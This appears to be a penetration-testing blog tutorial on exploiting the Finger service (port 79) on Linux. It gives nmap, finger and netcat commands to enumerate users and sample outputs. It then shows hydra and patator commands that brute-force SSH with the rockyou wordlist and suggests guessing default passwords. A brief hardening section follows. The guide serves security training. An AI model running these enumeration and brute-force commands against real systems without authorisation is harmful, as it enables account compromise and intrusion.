Exploiting the Finger Service (Port 79) on Linux: A Pentester’s Guide

The Finger protocol, once a staple of early Unix systems, is now a mostly forgotten relic. But when you do encounter it on a target, port 79 can offer surprisingly useful enumeration data — and sometimes even lead to privilege escalation or lateral movement.

In this post, we’ll break down:

  • What the Finger service is
  • How to enumerate users via port 79
  • Practical commands
  • How to weaponize the info during an engagement

The Finger protocol was designed to return information about users on a remote system. It typically runs on TCP port 79 and allows a remote client to ask for:

  • A list of currently logged-in users
  • Info about specific users (full name, home directory, shell, last login)

Back in the 80s, this was normal. Today? It’s a security liability.

If a Linux box has the Finger daemon (fingerd) running:

  • You can enumerate valid system users
  • You may discover usernames that can be used in:
    • SSH bruteforce
    • Password spraying
    • Kerberos attacks (if joined to a domain)
  • It could leak login activity (last login, login times, TTY sessions)
nmap -p 79 <target-ip> --script=finger

Or just:

nmap -p 79 <target-ip>

You can use finger (if installed) or netcat.

finger @<target-ip>
# Get info on all users (sometimes restricted)

finger <username>@<target-ip>
# Query specific user
nc <target-ip> 79

Then type a username (e.g. john) and press Enter. Example:

john

Response may look like:

Login: john                          Name: John Doe
Directory: /home/john                Shell: /bin/bash
Last login Mon Jul  1 10:02 (UTC) on tty1

Look for:

  • Valid usernames
  • Shell paths (to spot service or system users)
  • Last login timestamps (helpful for targeting active users)
  • Home directories (/home/<user> paths — useful for file access)

Once you have valid usernames:

hydra -l john -P /usr/share/wordlists/rockyou.txt ssh://<target-ip>

Or:

patator ssh_login host=<target-ip> user=john password=FILE0 0=rockyou.txt

If the output shows a user logged in via pts/0 or tty1, the system may be vulnerable to:

  • Tty hijacking (if you already have low-priv shell)
  • Session snooping or abuse via /dev/pts/* (rare, but possible)

Some systems with Finger enabled are old or forgotten — worth testing known/default creds like:

ssh john@<target-ip>
# Try: john / john123 / password / <hostname>

The Finger service should never be exposed on modern systems:

  • Disable the fingerd daemon
  • Filter port 79 at the firewall
  • Monitor connections for unusual access attempts

Imagine you run:

nc 10.10.10.14 79

And type:

aisha

Response:

Login: aisha                 Name: Aisha Mbali
Directory: /home/aisha       Shell: /bin/bash
Last login Tue Jul  2 11:45 on tty1

Now you’ve confirmed:

  • aisha is a valid user
  • The account is actively used
  • The shell is interactive (/bin/bash)
  • You can start brute-forcing or crafting a privilege escalation path

Even though Finger is ancient, when it’s enabled on a system, it can give you an unfiltered look into the target’s userbase. This kind of recon can be a launchpad for serious exploitation.

In a pentest, every leak is a lead — and Finger leaks like a broken faucet.

Scroll to Top